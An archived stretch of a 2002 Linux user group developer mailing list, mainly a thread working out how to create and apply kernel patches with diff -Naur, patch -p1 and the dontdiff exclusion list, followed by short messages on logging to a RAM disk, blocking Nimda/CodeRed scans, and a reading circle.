asking because the man page is unclear as to how to use diff and patch together to get a good patch file and patch application method. So one more time with feeling (and more details). I've got two directory kernels in the current directory: linux-2.4.2_hhl20 (The modified kernel directory) and linux-2.4.2_hhl20.orig (The original kernel). So, from the directory I issue the following command: diff -Naur linxu-2.4.2_hhl20.orig linux-2.4.2_hhl20 > k2.patch When the command finishes, I do the following commands to test the patch: cp -rf linux-2.4.2_hhl20.orig linux-kernel-to-be-patched (I'm giving it this weird name so I can be assured the name of the directory doesn't matter.) Then without changing the directory, I attempt to patch the directory like so: patch -d linux-to-be-patched -p1 < k2.patch (Notice I'm doing the -p1 to ignore the leading dir name, and I'm using the -d linux-to-be-patched option so it will use my new funky kernel directory name.) The patch command runs like gangbusters, until the following occurs: patching file include/asm/posix_types.h patching file include/asm/siginfo.h patching file include/asm/unistd.h patching file include/asm-ppc/posix_types.h Reversed (or previously applied ) patch detected! Assume -R? [n] And here is why that error occurs: include/asm is a link to include/asm-ppc. So, when it applies the patch to include/asm/posix_types.h it will fail when it does include/asm-ppc/posix_types.h since its already been patched. For what it matters, all three directories have the include/asm link to include/asm-ppc as they should. Lastly, I wasn't trying to make a career out of diff/patch, I just wanted to know how to do it quickly and correctly. I figured it was a 5 minute problem and it only needed a 5 minute question of someone who knew how to do it to answer. J (what the hell is a man page?) D Ed Hill @trilug.org on 02/28/2002 03:09:08 PM Please respond to dev@trilug.org Sent by: dev-admin@trilug.org To: dev@trilug.org cc: Subject: Re: [Dev] Re: embarrassing patch question Hi John, I think the patch man page does a fairly good job of explaining it: -pnum or --strip=num Strip the smallest prefix containing num leading slashes from each file name found in the patch file. A sequence of one or more adjacent slashes is counted as a single slash. This controls how file names found in the patch file are treated, in case you keep your files in a different directory than the person who sent out the patch. For example, supposing the file name in the patch file was /u/howard/src/blurfl/blurfl.c setting -p0 gives the entire file name unmodified, -p1 gives u/howard/src/blurfl/blurfl.c without the leading slash, -p4 gives blurfl/blurfl.c and not specifying -p at all just gives you blurfl.c. Whatever you end up with is looked for either in the current directory, or the directory specified by the -d option. So, you specify a level in the -p option that is sufficient to strip away enough leading path entries so that it matches the path that fits with your current directory setup. Thus, you never *have* to have a single file in the same directory name it was in when you created the patch (if that patch is for a single file)! Extending the above example, the pattern is: -p0 ==> /u/howard/src/blurfl/blurfl.c -p1 ==> u/howard/src/blurfl/blurfl.c -p2 ==> howard/src/blurfl/blurfl.c -p3 ==> src/blurfl/blurfl.c -p4 ==> blurfl/blurfl.c -p5 ==> blurfl.c For a patch containing a set of changes to multiple files in a directory tree composed of multiple levels of directories, you will want to keep the directory names the same up to the root of the tree. That is, the patch should apply cleanly if all the subdirs have the same names but the root directory of the tree can have a different name (which you can strip away using the appropriate -p[n] setting). hth, Ed On Thu, 2002-02-28 at 12:46, John F Davis wrote: > > Hello > > Thanks for the reply, but my original question still exists. > > Here is your answer: > > 2.1 Create the patch > diff -u oldfile newfile > filename.patch > or diff -urN /olddir /newdir > filename.patch > or diff -urN -X excludes /olddir /newdir > filename.patch > > diff options: > -u Output (default 2) lines of unified context. > -r Recursively compare any subdirectories found. > -N Treat absent files as empty. > -X FILE Exclude files that match any pattern in FILE. > > Note: The -u options can be replaced with -c to create a context format > diff > file with a setting of two lines. > > 2.2 Apply the patch > gzip -cd patch.gz | patch -p0 > or bzip2 -dc patch.bz2 | patch -p0 > or patch -p0 < filename.patch > > patch options: > -p NUM Strip NUM leading components from file names. > > > Here is my original question: > > > > I think this is right. However, it would be great if someone would clear > > up the bit > > about the target directory. Does the target directory have to called the > > same as the > > "patched" or "orig" directory? Is there a way to specify or edit the > patch > > file so > > that the end user can have their own custom directory name. For > instance, > > I used foo and foo.orig, but the end user might have directory names > > like foo2 or foo.nfs, etc. > > > > Put another way, in your step 2.2, what is the implied directory name used > for the patch? What is the p1 or p0 bit? Is that supposed to > somehow strip the leading direcotry name or something? When you issue that > comand, are you in the parent directory which owns > the kernel directory to be patched or are you in the directory to be > patched? > > eg.: > > ls /usr/local/ > foo foo.orig > > cd foo > patch -p0 < patchfile > > or > > ls /usr/local > foo foo.orig patchfile > patch -p0 < patchfile > > > > David Filion on 02/28/2002 11:39:42 AM > > > > > > To: John F Davis/Raleigh/IBM@ibmus > cc: dev@trilug.org, kernelnewbies@nl.linux.org > Subject: Re: embarrassing patch question > > > > John F Davis wrote: > > > > Hello > > > > Ok. I've been using patch and I've asked some questions about it on IRC, > > but I'm still not > > sure about how to use it "CORRECTLY" or in the "PRESCRIBED-METHOD". So, > > please correct me. > > > > I want to create a patch file to give to my co-workers and instructions > on > > how to use it. > > > > With that said, here is the scenario: > > > > I have a original directory called foo.orig and a "up-to-date" directory > > called foo.latest. > > So, I created a patch file using this syntax: > > diff -Naur foo.orig foo.latest > foo.patch > > > > Then to apply the patch, I did: > > patch -p1 foo < foo.patch > > or > > patch -p1 foo.orig < foo.patch > > I can't remember which one I did. > > > > I think this is right. However, it would be great if someone would clear > > up the bit > > about the target directory. Does the target directory have to called the > > same as the > > "patched" or "orig" directory? Is there a way to specify or edit the > patch > > file so > > that the end user can have their own custom directory name. For > instance, > > I used foo and foo.orig, but the end user might have directory names > > like foo2 or foo.nfs, etc. > > > > JD > > > > -- > > Kernelnewbies: Help each other learn about the Linux kernel. > > Archive: http://mail.nl.linux.org/kernelnewbies/ > > IRC Channel: irc.openprojects.net / #kernelnewbies > > Web Page: http://www.kernelnewbies.org/ > > > I threw together something a while ago when I was in the same > situation, I've included it below. Because we are using Solaris > at work, it covers the older and newer versions of diff/patch. > > HTH > David Filion > > --- Start of doc --- > > Creating a patch > > Below is a cheat sheet for creating and applying patch files. For more > details about each command, check the commands manpage, info document or > try "command --help". > > > 1.0 Using older versions of diff/patch. > The older diff/patch utilities don't understand the newer unified > format. Thus, the older conext format must be used. Thus the -c > option that appears. > > 1.1 Create the patch > diff -c -b -r /original /new > filename.patch > > diff options: > -c Produces a listing of differences with three lines of context. > -b Ignores trailing blanks (spaces and tabs) and treats other strings > of blanks as equivalent. > -r Applies diff recursively to common subdirectories encountered. > > 1.2 Apply the patch > patch -c -l -p1 -d /original < filename.patch > > patch options: > -c Interpret the patch file as a context difference (the output of > the command diff when the -c or -C options are specified). > -l Cause any sequence of blank characters in the difference script > to match any sequence of blank characters in the input file. > Other characters will be matched exactly. > -d Change the current directory to dir before processing. > -p NUM Strip NUM leading components from file names. > > 2.0 Using newer/GNU diff and patch utilities. > Unlike their older counterparts, the newer/GNU versions of diff > understand the unified format of patch file. This is the format used > by the Linux kernel developers. > > 2.1 Create the patch > diff -u oldfile newfile > filename.patch > or diff -urN /olddir /newdir > filename.patch > or diff -urN -X excludes /olddir /newdir > filename.patch > > diff options: > -u Output (default 2) lines of unified context. > -r Recursively compare any subdirectories found. > -N Treat absent files as empty. > -X FILE Exclude files that match any pattern in FILE. > > Note: The -u options can be replaced with -c to create a context format > diff > file with a setting of two lines. > > 2.2 Apply the patch > gzip -cd patch.gz | patch -p0 > or bzip2 -dc patch.bz2 | patch -p0 > or patch -p0 < filename.patch > > patch options: > -p NUM Strip NUM leading components from file names. > > 3.0 Creating a patch using CVS. > A patch is created in CVS using the rdiff cvs command. > > 3.1 Create the patch. > > o Create a context (default) format diff of release tags rel1 and > rel2 for module. > cvs rdiff -r rel1 -r rel2 module > > o Create a unidiff format diff of release tags rel1 and rel2 > for module. > cvs rdiff -u -r rel1 -r rel2 module > > cvs rdiff options: > -r tag Use revision > -u Use the unidiff format. > -c Use the context format (default). > > > Copyright (c) David Filion (filiond@videotron.ca) > Created 2001/09/12. > > > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev > -- Edward H. Hill III, PhD Post-Doctoral Researcher | Email: ed@eh3.com, ehill@mines.edu Division of ESE | URL: http://www.eh3.com Colorado School of Mines | Phone: 303-273-3483 Golden, CO 80401 | Fax: 303-273-3311 Key fingerprint = 5BDE 4DA1 66BE 4F7B BC17 3A0C 932B 7266 1E76 F123 _______________________________________________ Dev mailing list Dev@trilug.org http://www.trilug.org/mailman/listinfo/dev From lovelace@wayfarer.org Thu Feb 28 16:15:02 2002 Received: from maddux.wayfarer.org (wayfarer.org [4.18.171.141]) by fatalpha.trilug.org (8.9.3/8.9.3) with SMTP id QAA22739 for ; Thu, 28 Feb 2002 16:15:00 -0500 Received: (qmail 29912 invoked by uid 401); 28 Feb 2002 21:17:33 -0000 Received: from localhost (HELO kendrick.house.wayfarer.org) (lovelace@127.0.0.1) by localhost with SMTP; 28 Feb 2002 21:17:33 -0000 Subject: Re: [Dev] Re: embarrassing patch question From: Tanner Lovelace To: dev@trilug.org In-Reply-To: References: Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-4+h4G9p+AiDkScl6ZEZ1" X-Mailer: Evolution/1.0.21mdk Date: 28 Feb 2002 16:15:29 -0500 Message-Id: <1014930929.15078.15.camel@kendrick> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-4+h4G9p+AiDkScl6ZEZ1 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Whoa! Calm down. Take a deep breath. Feel better? Okay. Now, I think I know what's happening here. The key statement below is that you said=20 > For what it matters, all three directories have the include/asm=20 > link to include/asm-ppc as they should. Now, diff and patch are powerful tools, but in reality they're pretty dumb. What is happening here is that when you do the diff, it's comparing the files in the asm directories and noting that their different. It's also comparing the directories in the asm-ppc directories and noting they're different, but *without realizing they're the same directory*!!! Then, patch is making the same mistake. You need some way to tell diff not to follow the link. Now, the easiest way would be not to link the directories until after running diff, but let's assume that that's already done and you'd rather not go back and unlink them just to have to link them in the first place. Instead, what I suggest doing is telling diff to "exclude" the directory that is linked. Pick one of the directories (either asm or asm-ppc) and include it with the "--exclude=3D" parameter. For example diff -Naur --exclude=3Dasm linux.orig linux > k2.patch That will create the patch and only look at one of the two directories (since they are the same). Therefore, when you go patch the new directory, it won't refer to both asm and asm-ppc. BTW, I found all of the above in the diff man page. Don't knock it when it is obviously where you need to look. Tanner On Thu, 2002-02-28 at 15:56, John F Davis wrote: >=20 >=20 > Hello >=20 > Thanks for pointing out your man page opinions, but I read it a long time > ago and many times since. > Maybe I need to be clear on my question so I won't be given simple answer= s > like read the man page. > I'm asking because the man page is unclear as to how to use diff and patc= h > together to get > a good patch file and patch application method. >=20 > So one more time with feeling (and more details). I've got two directory > kernels in the current directory: > linux-2.4.2_hhl20 (The modified kernel directory) and > linux-2.4.2_hhl20.orig (The original kernel). >=20 > So, from the directory I issue the following command: > diff -Naur linxu-2.4.2_hhl20.orig linux-2.4.2_hhl20 > k2.patch >=20 > When the command finishes, I do the following commands to test the patch: > cp -rf linux-2.4.2_hhl20.orig linux-kernel-to-be-patched > (I'm giving it this weird name so I can be assured the name of the > directory doesn't matter.) >=20 > Then without changing the directory, I attempt to patch the directory lik= e > so: > patch -d linux-to-be-patched -p1 < k2.patch > (Notice I'm doing the -p1 to ignore the leading dir name, and I'm using > the -d linux-to-be-patched option so it will use my new funky kernel > directory > name.) >=20 > The patch command runs like gangbusters, until the following occurs: > > patching file include/asm/posix_types.h > patching file include/asm/siginfo.h > patching file include/asm/unistd.h > patching file include/asm-ppc/posix_types.h > Reversed (or previously applied ) patch detected! Assume -R? [n] >=20 > And here is why that error occurs: > include/asm is a link to include/asm-ppc. So, when it applies > the patch to include/asm/posix_types.h it will fail when it does > include/asm-ppc/posix_types.h since its already been patched. >=20 > For what it matters, all three directories have the include/asm link to > include/asm-ppc > as they should. >=20 > Lastly, I wasn't trying to make a career out of diff/patch, I just wanted > to know how to do it > quickly and correctly. I figured it was a 5 minute problem and it only > needed a 5 minute question > of someone who knew how to do it to answer. >=20 > J (what the hell is a man page?) D >=20 >=20 >=20 >=20 >=20 >=20 > Ed Hill @trilug.org on 02/28/2002 03:09:08 PM >=20 >=20 >=20 >=20 >=20 > Please respond to dev@trilug.org >=20 > Sent by: dev-admin@trilug.org >=20 >=20 > To: dev@trilug.org > cc: > Subject: Re: [Dev] Re: embarrassing patch question >=20 >=20 >=20 >=20 > Hi John, >=20 > I think the patch man page does a fairly good job of explaining it: >=20 > -pnum or --strip=3Dnum > Strip the smallest prefix containing num leading > slashes from each file name found in the patch file. A > sequence of one or more adjacent slashes is counted as > a single slash. This controls how file names found in > the patch file are treated, in case you keep your files > in a different directory than the person who sent out > the patch. For example, supposing the file name in the > patch file was >=20 > /u/howard/src/blurfl/blurfl.c >=20 > setting -p0 gives the entire file name unmodified, -p1 > gives >=20 > u/howard/src/blurfl/blurfl.c >=20 > without the leading slash, -p4 gives >=20 > blurfl/blurfl.c >=20 > and not specifying -p at all just gives you blurfl.c. > Whatever you end up with is looked for either in the > current directory, or the directory specified by the -d > option. >=20 >=20 > So, you specify a level in the -p option that is sufficient to strip > away enough leading path entries so that it matches the path that fits > with your current directory setup. Thus, you never *have* to have a > single file in the same directory name it was in when you created the > patch (if that patch is for a single file)! Extending the above > example, the pattern is: >=20 > -p0 =3D=3D> /u/howard/src/blurfl/blurfl.c > -p1 =3D=3D> u/howard/src/blurfl/blurfl.c > -p2 =3D=3D> howard/src/blurfl/blurfl.c > -p3 =3D=3D> src/blurfl/blurfl.c > -p4 =3D=3D> blurfl/blurfl.c > -p5 =3D=3D> blurfl.c >=20 >=20 > For a patch containing a set of changes to multiple files in a directory > tree composed of multiple levels of directories, you will want to keep > the directory names the same up to the root of the tree. That is, the > patch should apply cleanly if all the subdirs have the same names but > the root directory of the tree can have a different name (which you can > strip away using the appropriate -p[n] setting). >=20 > hth, > Ed >=20 >=20 >=20 > On Thu, 2002-02-28 at 12:46, John F Davis wrote: > > > > Hello > > > > Thanks for the reply, but my original question still exists. > > > > Here is your answer: > > > > 2.1 Create the patch > > diff -u oldfile newfile > filename.patch > > or diff -urN /olddir /newdir > filename.patch > > or diff -urN -X excludes /olddir /newdir > filename.patch > > > > diff options: > > -u Output (default 2) lines of unified context. > > -r Recursively compare any subdirectories found. > > -N Treat absent files as empty. > > -X FILE Exclude files that match any pattern in FILE. > > > > Note: The -u options can be replaced with -c to create a context format > > diff > > file with a setting of two lines. > > > > 2.2 Apply the patch > > gzip -cd patch.gz | patch -p0 > > or bzip2 -dc patch.bz2 | patch -p0 > > or patch -p0 < filename.patch > > > > patch options: > > -p NUM Strip NUM leading components from file names. > > > > > > Here is my original question: > > > > > > > I think this is right. However, it would be great if someone would > clear > > > up the bit > > > about the target directory. Does the target directory have to called > the > > > same as the > > > "patched" or "orig" directory? Is there a way to specify or edit the > > patch > > > file so > > > that the end user can have their own custom directory name. For > > instance, > > > I used foo and foo.orig, but the end user might have directory names > > > like foo2 or foo.nfs, etc. > > > > > > > Put another way, in your step 2.2, what is the implied directory name > used > > for the patch? What is the p1 or p0 bit? Is that supposed to > > somehow strip the leading direcotry name or something? When you issue > that > > comand, are you in the parent directory which owns > > the kernel directory to be patched or are you in the directory to be > > patched? > > > > eg.: > > > > ls /usr/local/ > > foo foo.orig > > > > cd foo > > patch -p0 < patchfile > > > > or > > > > ls /usr/local > > foo foo.orig patchfile > > patch -p0 < patchfile > > > > > > > > David Filion on 02/28/2002 11:39:42 AM > > > > > > > > > > > > To: John F Davis/Raleigh/IBM@ibmus > > cc: dev@trilug.org, kernelnewbies@nl.linux.org > > Subject: Re: embarrassing patch question > > > > > > > > John F Davis wrote: > > > > > > Hello > > > > > > Ok. I've been using patch and I've asked some questions about it on > IRC, > > > but I'm still not > > > sure about how to use it "CORRECTLY" or in the "PRESCRIBED-METHOD". > So, > > > please correct me. > > > > > > I want to create a patch file to give to my co-workers and instructio= ns > > on > > > how to use it. > > > > > > With that said, here is the scenario: > > > > > > I have a original directory called foo.orig and a "up-to-date" > directory > > > called foo.latest. > > > So, I created a patch file using this syntax: > > > diff -Naur foo.orig foo.latest > foo.patch > > > > > > Then to apply the patch, I did: > > > patch -p1 foo < foo.patch > > > or > > > patch -p1 foo.orig < foo.patch > > > I can't remember which one I did. > > > > > > I think this is right. However, it would be great if someone would > clear > > > up the bit > > > about the target directory. Does the target directory have to called > the > > > same as the > > > "patched" or "orig" directory? Is there a way to specify or edit the > > patch > > > file so > > > that the end user can have their own custom directory name. For > > instance, > > > I used foo and foo.orig, but the end user might have directory names > > > like foo2 or foo.nfs, etc. > > > > > > JD > > > > > > -- > > > Kernelnewbies: Help each other learn about the Linux kernel. > > > Archive: http://mail.nl.linux.org/kernelnewbies/ > > > IRC Channel: irc.openprojects.net / #kernelnewbies > > > Web Page: http://www.kernelnewbies.org/ > > > > > > I threw together something a while ago when I was in the same > > situation, I've included it below. Because we are using Solaris > > at work, it covers the older and newer versions of diff/patch. > > > > HTH > > David Filion > > > > --- Start of doc --- > > > > Creating a patch > > > > Below is a cheat sheet for creating and applying patch files. For more > > details about each command, check the commands manpage, info document o= r > > try "command --help". > > > > > > 1.0 Using older versions of diff/patch. > > The older diff/patch utilities don't understand the newer unified > > format. Thus, the older conext format must be used. Thus the -c > > option that appears. > > > > 1.1 Create the patch > > diff -c -b -r /original /new > filename.patch > > > > diff options: > > -c Produces a listing of differences with three lines of context. > > -b Ignores trailing blanks (spaces and tabs) and treats other strings > > of blanks as equivalent. > > -r Applies diff recursively to common subdirectories encountered. > > > > 1.2 Apply the patch > > patch -c -l -p1 -d /original < filename.patch > > > > patch options: > > -c Interpret the patch file as a context difference (the output of > > the command diff when the -c or -C options are specified). > > -l Cause any sequence of blank characters in the difference script > > to match any sequence of blank characters in the input file. > > Other characters will be matched exactly. > > -d Change the current directory to dir before processing. > > -p NUM Strip NUM leading components from file names. > > > > 2.0 Using newer/GNU diff and patch utilities. > > Unlike their older counterparts, the newer/GNU versions of diff > > understand the unified format of patch file. This is the format used > > by the Linux kernel developers. > > > > 2.1 Create the patch > > diff -u oldfile newfile > filename.patch > > or diff -urN /olddir /newdir > filename.patch > > or diff -urN -X excludes /olddir /newdir > filename.patch > > > > diff options: > > -u Output (default 2) lines of unified context. > > -r Recursively compare any subdirectories found. > > -N Treat absent files as empty. > > -X FILE Exclude files that match any pattern in FILE. > > > > Note: The -u options can be replaced with -c to create a context format > > diff > > file with a setting of two lines. > > > > 2.2 Apply the patch > > gzip -cd patch.gz | patch -p0 > > or bzip2 -dc patch.bz2 | patch -p0 > > or patch -p0 < filename.patch > > > > patch options: > > -p NUM Strip NUM leading components from file names. > > > > 3.0 Creating a patch using CVS. > > A patch is created in CVS using the rdiff cvs command. > > > > 3.1 Create the patch. > > > > o Create a context (default) format diff of release tags rel1 and > > rel2 for module. > > cvs rdiff -r rel1 -r rel2 module > > > > o Create a unidiff format diff of release tags rel1 and rel2 > > for module. > > cvs rdiff -u -r rel1 -r rel2 module > > > > cvs rdiff options: > > -r tag Use revision > > -u Use the unidiff format. > > -c Use the context format (default). > > > > > > Copyright (c) David Filion (filiond@videotron.ca) > > Created 2001/09/12. > > > > > > _______________________________________________ > > Dev mailing list > > Dev@trilug.org > > http://www.trilug.org/mailman/listinfo/dev > > > -- > Edward H. Hill III, PhD > Post-Doctoral Researcher | Email: ed@eh3.com, ehill@mines.edu > Division of ESE | URL: http://www.eh3.com > Colorado School of Mines | Phone: 303-273-3483 > Golden, CO 80401 | Fax: 303-273-3311 > Key fingerprint =3D 5BDE 4DA1 66BE 4F7B BC17 3A0C 932B 7266 1E76 F123 > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev >=20 >=20 > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev --=20 Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint =3D A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 GPG Key can be found at http://wtl.wayfarer.org/lovelace.gpg.asc --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- Those who are willing to sacrifice essential liberties for a little=20 order, will lose both and deserve neither. -- Benjamin Franklin=20 History teaches that grave threats to liberty often come in times of urgency, when constitutional rights seem too extravagant to=20 endure. -- Justice Thurgood Marshall, 1989=20 --=-4+h4G9p+AiDkScl6ZEZ1 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8fp3xzglPjt52OdQRAiT6AKCJaykZloLJnPccaL+JFOrmi5DKZACgoLGa LIYYzGNjxWp+azeX0ZSsWAU= =kusF -----END PGP SIGNATURE----- --=-4+h4G9p+AiDkScl6ZEZ1-- From johndavi@us.ibm.com Thu Feb 28 17:35:30 2002 Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id RAA23165 for ; Thu, 28 Feb 2002 17:35:30 -0500 Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.us.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id QAA61642; Thu, 28 Feb 2002 16:32:19 -0600 Received: from d04nms11.raleigh.ibm.com (d04nms11.raleigh.ibm.com [9.27.5.140]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO/VER6.00) with ESMTP id g1SMbUg193556; Thu, 28 Feb 2002 17:37:30 -0500 Importance: Normal Sensitivity: To: kernelnewbies@nl.linux.org, dev@trilug.org X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: "John F Davis" Date: Thu, 28 Feb 2002 17:37:28 -0500 X-MIMETrack: Serialize by Router on D04NMS11/04/M/IBM(Release 5.0.9 |November 16, 2001) at 02/28/2002 05:37:30 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Subject: [Dev] Re: embarrassing patch question Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hello Ok. After much consternation its working now. Many thanks to Greg KH who pointed out this gem on a document: linux/Documentation/SubmittingPatches file. It explains in pointed detail the answer to my question about the prescribed method. It instructs the user to use the dontdiff file list which contains more than just the asm directory. I forgot about autoconf.h and its ilk. Also, when you use dontdiff you don't need to do a make mrproper beforehand. you can build it with your object files in place! So to sum it up: Building the patch: diff -Nur -X dontdiff linux-2.4.2_hhl20.orig linux-2.4.2_hhl20 > k2.patch Applying the patch: patch -d linux-dir-to-patch -p1 < k2.patch Many thanks to all who gave me a hand (That includes you Ed). JD ps. see the SubmittingPatches doc for how to get the dontdiff file list. Jan Hudec @nl.linux.org on 02/28/2002 05:08:56 PM Sent by: kernelnewbies-bounce@nl.linux.org To: kernelnewbies@nl.linux.org cc: Subject: Re: embarrassing patch question > > Then without changing the directory, I attempt to patch the directory like > > so: > > patch -d linux-to-be-patched -p1 < k2.patch > > try: > cd linux-to-be-patched > patch -p1 < ../k2.patch The manual page claims, that $ patch -d directory -p1 < the.patch and $ cd directory $ patch -p1 < ../the.patch is _exactly_ equivalent. So if one of them works and the other does not, it seems like a bug in patch or at least in the man page. Oh, think I see the fault now. diff seems to handle symlinks wrong. There is the dontdiff file to take care of that. (-X dontdiff option) -------------------------------------------------------------------------------- - Jan Hudec `Bulb' -- Kernelnewbies: Help each other learn about the Linux kernel. Archive: http://mail.nl.linux.org/kernelnewbies/ IRC Channel: irc.openprojects.net / #kernelnewbies Web Page: http://www.kernelnewbies.org/ From jonc@nc.rr.com Thu Feb 28 21:42:04 2002 Received: from Mail6.nc.rr.com ([24.93.67.53]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id VAA24493 for ; Thu, 28 Feb 2002 21:42:04 -0500 Received: from there ([66.26.238.174]) by Mail6.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Thu, 28 Feb 2002 21:42:27 -0500 Content-Type: text/plain; charset="iso-8859-1" From: Jon Carnes Organization: HAHT Commerce To: dev@trilug.org, nathan@natejoke.dhs.org Subject: Re: [Dev] Blocking MTD's Date: Thu, 28 Feb 2002 21:43:11 -0500 X-Mailer: KMail [version 1.3.2] References: <20020228182907.GA2550@natejoke.dhs.org> In-Reply-To: <20020228182907.GA2550@natejoke.dhs.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-ID: <0edfa2742020132FE6@Mail6.nc.rr.com> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org X-Reply-To: jonc@nc.rr.com List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: A little radical, but how about creating a RAM disk and mounting it for your log files. You'll still get the errors, but they won't spin up your hd... As part of your shutdown script you can copy the log from RAM to your hd. Jon --- Original Message: Thursday 28 February 2002 01:29 pm --- > Any questions or comments would be greatly appreciated. > My apologies if this does not fit the usual forum topic parameters. > > Thank you for your time, > > Nathan Harrington > > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev From nathan@natejoke.dhs.org Fri Mar 1 07:18:23 2002 Received: from natejoke.dhs.org (rdu26-232-185.nc.rr.com [66.26.232.185]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id HAA30252 for ; Fri, 1 Mar 2002 07:18:19 -0500 From: nathan@natejoke.dhs.org Received: (from nathan@localhost) by natejoke.dhs.org (8.11.2/8.11.2) id g21CDL512231 for dev@trilug.org; Fri, 1 Mar 2002 07:13:21 -0500 Date: Fri, 1 Mar 2002 07:13:21 -0500 To: dev@trilug.org Subject: Re: [Dev] Blocking MTD's Message-ID: <20020301121321.GA12159@natejoke.dhs.org> References: <20020228182907.GA2550@natejoke.dhs.org> <20020228210013.GF4042@enoch.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020228210013.GF4042@enoch.org> User-Agent: Mutt/1.3.27i Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: * Mike Johnson [022802 15:48]: > given that this is likely Nimda or CodeRed, you've just posted > the IP address of a system that's easily compromised to a public > list. Congratulations. I'm embarrassed at my own ignorance. I will be very careful not to do this again, however, a polite answer would have been just as effective at altering my behaviour as a sardonic one. With that said, thank you for the comprehensive answer to my questions. I really appreciate you taking the time to address my concerns. * Mike Johnson [022802 15:48]: > If you really want to automatically set drop rules, look at: > http://www.keyslapper.org/Nimda/ > > And modify it so that rather than sending an e-mail, it > adds a new drop entry. I think I will go with this approach, it seems well suited to what I want to accomplish. * Mike Johnson [022802 15:48]: > Again, you can post here all ya want, but you'll get -better- > answers on the main trilug discuss list. I will keep that in mind. Again, thanks. Nate From bhu5nji@yahoo.com Thu Mar 7 18:05:03 2002 Received: from maynard.mail.mindspring.net (maynard.mail.mindspring.net [207.69.200.243]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id SAA29899 for ; Thu, 7 Mar 2002 18:05:02 -0500 Received: from user-uivf3fg.dsl.mindspring.com ([165.247.141.240] helo=there) by maynard.mail.mindspring.net with smtp (Exim 3.33 #1) id 16j6yT-0000M1-00 for dev@trilug.org; Thu, 07 Mar 2002 18:07:01 -0500 Content-Type: text/plain; charset="iso-8859-15" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Date: Thu, 7 Mar 2002 18:02:18 -0500 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] 3/9 Reading Circle Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Is 3/9 reading circle still on? Anybody done the reading yet? I can still get it done and attend if anybody else is interested. -- Mike M. Support TriLUG. Reply directly for details on how to send a check. No amount is too small. Subscribe to all the TriLUG lists at http://trilug.org/mailman/listinfo From matthew.todd@alumni.duke.edu Thu Mar 7 18:29:11 2002 Received: from mail7.nc.rr.com (fe7.southeast.rr.com [24.93.67.54]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id SAA30028 for ; Thu, 7 Mar 2002 18:29:11 -0500 Received: from oemcomputer ([66.57.251.42]) by mail7.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Thu, 7 Mar 2002 18:31:10 -0500 Message-ID: <05f001c1c62e$0aca2620$487ba8c0@vz.dsl.genuity.net> From: "Matthew Todd" To: References: Subject: Re: [Dev] 3/9 Reading Circle Date: Thu, 7 Mar 2002 18:15:58 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: 